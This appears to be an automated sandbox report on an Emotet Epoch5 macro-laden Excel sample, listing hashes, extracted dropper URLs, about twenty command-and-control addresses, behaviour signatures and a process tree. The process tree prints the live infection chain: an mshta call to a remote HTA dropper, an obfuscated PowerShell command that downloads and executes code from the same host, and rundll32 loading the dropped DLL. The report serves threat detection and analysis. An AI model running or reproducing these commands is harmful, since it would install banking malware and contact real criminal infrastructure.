emotet | a0cc02185b718d8a8caec87fdee0f6aae676b61e1c69915cbd8d8e2600263b12

General

Target

QHB_677187.xlsm
Size

112KB
MD5

2f00a54638c5af4aa67c03f1d7ec12d0
SHA1

23994a8656707b655417077ca79294dd5a82cf36
SHA256

a0cc02185b718d8a8caec87fdee0f6aae676b61e1c69915cbd8d8e2600263b12
SHA512

c50ae050b50fb210c640cdd014a211f1eae5b35ba25d2728f9bb6e726ca81b459e0d593a75bf7e20d5717c008d3b004da83f63a59e0ce1cdad4a826c59070220

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://92.255.57.195/ru/ru.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/ru/ru.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3056	1416	cmd.exe	50

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2620 created 532	2620	WerFault.exe	54

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
15	532	mshta.exe
17	2124	powershell.exe
19	2124	powershell.exe
30	3424	rundll32.exe
31	3424	rundll32.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-790714498-1549421491-1643397139-1000\Control Panel\International\Geo\Nation	mshta.exe

Loads dropped DLL 4 IoCs

pid	Process
2648	rundll32.exe
3200	rundll32.exe
3300	rundll32.exe
3424	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Qegfkxvmwblywl\wsey.odi	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3944	532	WerFault.exe	54

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1416	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2124	powershell.exe
2124	powershell.exe
3944	WerFault.exe
3944	WerFault.exe
3424	rundll32.exe
3424	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2124	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
1416	EXCEL.EXE
1416	EXCEL.EXE
1416	EXCEL.EXE
1416	EXCEL.EXE
1416	EXCEL.EXE
1416	EXCEL.EXE
1416	EXCEL.EXE
1416	EXCEL.EXE
1416	EXCEL.EXE
1416	EXCEL.EXE
1416	EXCEL.EXE
1416	EXCEL.EXE
1416	EXCEL.EXE
1416	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 1416 wrote to memory of 3056	1416	EXCEL.EXE	52
PID 1416 wrote to memory of 3056	1416	EXCEL.EXE	52
PID 3056 wrote to memory of 532	3056	cmd.exe	54
PID 3056 wrote to memory of 532	3056	cmd.exe	54
PID 532 wrote to memory of 2124	532	mshta.exe	57
PID 532 wrote to memory of 2124	532	mshta.exe	57
PID 2620 wrote to memory of 532	2620	WerFault.exe	54
PID 2620 wrote to memory of 532	2620	WerFault.exe	54
PID 2124 wrote to memory of 1832	2124	powershell.exe	60
PID 2124 wrote to memory of 1832	2124	powershell.exe	60
PID 1832 wrote to memory of 2648	1832	cmd.exe	61
PID 1832 wrote to memory of 2648	1832	cmd.exe	61
PID 1832 wrote to memory of 2648	1832	cmd.exe	61
PID 2648 wrote to memory of 3200	2648	rundll32.exe	62
PID 2648 wrote to memory of 3200	2648	rundll32.exe	62
PID 2648 wrote to memory of 3200	2648	rundll32.exe	62
PID 3200 wrote to memory of 3300	3200	rundll32.exe	66
PID 3200 wrote to memory of 3300	3200	rundll32.exe	66
PID 3200 wrote to memory of 3300	3200	rundll32.exe	66
PID 3300 wrote to memory of 3424	3300	rundll32.exe	67
PID 3300 wrote to memory of 3424	3300	rundll32.exe	67
PID 3300 wrote to memory of 3424	3300	rundll32.exe	67

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\QHB_677187.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1416
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/92.255.57.195/ru/ru.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3056
- - C:\Windows\system32\mshta.exe
    mshta http://92.255.57.195/ru/ru.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:532
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/ru/ru.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2124
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1832
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2648
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3200
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Qegfkxvmwblywl\wsey.odi",uyhWspaUCvxDAxt
        8⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3300
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Qegfkxvmwblywl\wsey.odi",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:3424
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 532 -s 1708
      4⤵
      Program crash
      Checks processor information in registry
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      PID:3944

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 408 -p 532 -ip 532
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
PID:2620

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1416-131-0x00007FFE769D0000-0x00007FFE769E0000-memory.dmp

Filesize
64KB

Download
memory/1416-132-0x00007FFE769D0000-0x00007FFE769E0000-memory.dmp

Filesize
64KB

Download
memory/1416-130-0x00007FFE769D0000-0x00007FFE769E0000-memory.dmp

Filesize
64KB

Download
memory/2124-1557-0x000001F104C30000-0x000001F104C52000-memory.dmp

Filesize
136KB

Download
memory/2124-1566-0x000001F11D420000-0x000001F11D464000-memory.dmp

Filesize
272KB

Download
memory/2124-1565-0x000001F11D2C6000-0x000001F11D2C8000-memory.dmp

Filesize
8KB

Download
memory/2124-1564-0x000001F11D2C3000-0x000001F11D2C5000-memory.dmp

Filesize
8KB

Download
memory/2124-1585-0x000001F11D890000-0x000001F11D906000-memory.dmp

Filesize
472KB

Download
memory/2124-1562-0x000001F11D2C0000-0x000001F11D2C2000-memory.dmp

Filesize
8KB

Download
memory/2648-1580-0x00000000034F0000-0x0000000003518000-memory.dmp

Filesize
160KB

Download
memory/3200-1588-0x0000000004AD0000-0x0000000004AF8000-memory.dmp

Filesize
160KB

Download
memory/3200-1592-0x0000000004C50000-0x0000000004C78000-memory.dmp

Filesize
160KB

Download
memory/3200-1590-0x0000000004BF0000-0x0000000004C18000-memory.dmp

Filesize
160KB

Download
memory/3200-1583-0x0000000004320000-0x0000000004348000-memory.dmp

Filesize
160KB

Download
memory/3200-1630-0x0000000004DD0000-0x0000000004DF8000-memory.dmp

Filesize
160KB

Download
memory/3300-1625-0x0000000003580000-0x00000000035A8000-memory.dmp

Filesize
160KB

Download
memory/3424-1628-0x00000000049C0000-0x00000000049E8000-memory.dmp

Filesize
160KB

Download
memory/3424-1634-0x0000000005280000-0x00000000052A8000-memory.dmp

Filesize
160KB

Download
memory/3424-1636-0x00000000052E0000-0x0000000005308000-memory.dmp

Filesize
160KB

Download
memory/3424-1638-0x00000000053D0000-0x00000000053F8000-memory.dmp

Filesize
160KB

Download
memory/3424-1640-0x00000000054E0000-0x0000000005508000-memory.dmp

Filesize
160KB

Download
memory/3424-1642-0x0000000005600000-0x0000000005628000-memory.dmp

Filesize
160KB

Download
memory/3424-1644-0x00000000056F0000-0x0000000005718000-memory.dmp

Filesize
160KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads